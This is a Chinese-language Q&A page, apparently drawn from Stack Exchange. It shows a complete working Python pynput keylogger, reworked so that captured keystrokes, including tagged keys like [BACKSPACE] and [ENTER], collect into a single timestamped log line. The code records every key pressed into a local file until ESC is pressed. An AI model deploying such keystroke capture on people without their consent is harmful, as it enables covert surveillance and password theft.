如何在键盘记录器(Key-logger)程序中将输出合并为单行?
如何修改Pynput键盘记录器实现单行输出
你现在的代码每次按键都会生成一条独立的日志行,要实现合并为单行的效果,核心思路是先把所有按键内容累积到一个字符串中,最后一次性写入日志(或者按特定条件触发写入),而不是每次按键就直接写一行日志。
下面是修改后的完整代码,我会给你拆解关键改动:
from pynput.keyboard import Key, Listener import logging log_dir = "C:/Users/noswear/Desktop/Mail/" # 初始化缓冲区,用来累积所有按键内容 key_buffer = "" # 配置日志格式,保持原有的时间戳规则 logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s:%(message)s') def process_key(key): """把按键转换成易读的字符串格式""" try: # 普通字符直接提取字符值 return key.char except AttributeError: # 特殊按键转换成友好标识 if key == Key.space: return " " elif key == Key.backspace: return "[BACKSPACE]" elif key == Key.enter: return "[ENTER]" elif key == Key.shift: return "[SHIFT]" else: return f"[{key.name.upper()}]" def on_press(key): global key_buffer # 处理当前按键并添加到缓冲区 key_buffer += process_key(key) # 可选:如果想按输入段落记录(比如回车就生成一行),可以取消下面的注释 # if key == Key.enter: # logging.info(key_buffer) # key_buffer = "" def on_release(key): # 按ESC键停止监听,同时把剩余的缓冲区内容写入日志 if key == Key.esc: if key_buffer: logging.info(key_buffer) return False with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
改动细节说明:
- 新增
key_buffer全局变量:用来临时存储所有按键内容,替代原来每次按键直接写日志的逻辑。 - 新增
process_key函数:把退格、回车这类特殊按键转换成[BACKSPACE]、[ENTER]这种易读标识,避免日志里出现Key.backspace这种生硬的格式。 - 新增
on_release回调:用ESC键作为停止程序的触发条件,停止时会把缓冲区里的所有内容一次性写入日志,形成完整的单行记录。
修改后日志的输出格式会变成这样:
2024-05-20 16:20:30,456:m[BACKSPACE]pa[ENTER]hello world[SHIFT]A
内容的提问来源于stack exchange,提问作者noswear
相关产品推荐
相关产品推荐

